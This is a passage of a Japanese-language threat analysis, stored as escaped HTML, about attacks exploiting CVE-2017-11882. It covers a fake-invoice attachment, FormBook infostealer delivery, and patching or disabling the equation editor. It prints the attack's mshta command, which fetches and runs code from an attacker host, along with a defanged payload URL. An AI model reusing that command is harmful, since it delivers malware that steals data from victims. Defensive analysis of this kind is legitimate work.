SHA256<\/b><\/td>\n7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u6b27\u5dde\u306e\u7d44\u7e54\u5b9b\u3066\u306e\u30e1\u30fc\u30eb\u3067\u507d\u306e\u8acb\u6c42\u66f8\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u3068\u3057\u3066\u9001\u4fe1\u3055\u308c\u307e\u3057\u305f\u3002\u30e6\u30fc\u30b6\u304c\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u958b\u3044\u305f\u5f8c\u3001\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u304c\u5b9f\u884c\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n

mshta.exe , mshta https:\/\/zilk[.]pw\/url\/index.hta<\/span><\/p>\n

\u30b3\u30fc\u30c9\u306f\u3001PowerShell \u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3057\u305f\u3053\u306e\u5834\u6240\u306b\u30db\u30b9\u30c8\u3055\u308c (\u73fe\u5728\u306f\u3059\u3067\u306b\u4f7f\u7528\u3067\u304d\u307e\u305b\u3093)\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u4eca\u5ea6\u306fhxxps:\/\/zilk[.]pw\/url\/smstrace.exe \u304b\u3089\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u3001\u60c5\u5831\u3092\u7a83\u53d6\u3059\u308b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u00a0FormBook<\/a>\u00a0\u3067\u3059\u3002<\/p>\n

\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u30d0\u30c3\u30d5\u30a1\u306b\u306f\u30b5\u30a4\u30ba\u4e0a\u306e\u5236\u7d04\u304c\u3042\u308a\u307e\u3059\u304c\u3001\u305d\u308c\u3067\u3082\u591a\u6570\u306e\u653b\u6483\u8005\u304c\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u65b9\u6cd5\u3092\u63a2\u3057\u51fa\u3057\u3001\u76ee\u7684\u3092\u9054\u6210\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u7d50\u8ad6\u3068\u7de9\u548c\u7b56:<\/h2>\n

CVE-2017-11882 \u306e\u8106\u5f31\u6027\u306f\u73fe\u5728\u3082\u6d3b\u767a\u306b\u60aa\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u4eca\u5f8c\u6570\u5e74\u306b\u308f\u305f\u308a\u60aa\u7528\u304c\u7d9a\u304f\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u554f\u984c\u306b\u5bfe\u51e6\u3059\u308b\u305f\u3081\u3001\u7ba1\u7406\u8005\u306f\u3053\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b Microsoft \u306e\u30d1\u30c3\u30c1\u3092\u5c0e\u5165\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u30d1\u30c3\u30c1\u306f\u4ee5\u4e0b\u3067\u5165\u624b\u3067\u304d\u307e\u3059\u3002https:\/\/portal.msrc.microsoft.com\/en-US\/security-guidance\/advisory\/CVE-2017-11882<\/a>\u00a0.<\/p>\n

\u30d1\u30c3\u30c1\u3092\u5c0e\u5165\u3067\u304d\u306a\u3044\u5834\u5408\u306f\u3001Microsoft \u30b5\u30dd\u30fc\u30c8\u6280\u8853\u60c5\u5831\u306e\u8a18\u4e8b 4055535<\/a>\u00a0\u306e\u8aac\u660e\u306b\u5f93\u3063\u3066\u3001\u6570\u5f0f\u30a8\u30c7\u30a3\u30bf\u30fc\u3092\u7121\u52b9\u306b\u3059\u308b\u3053\u3068\u3092\u691c\u8a0e\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n

\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u65b9\u6cd5\u3067\u3053\u306e\u8106\u5f31\u6027\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n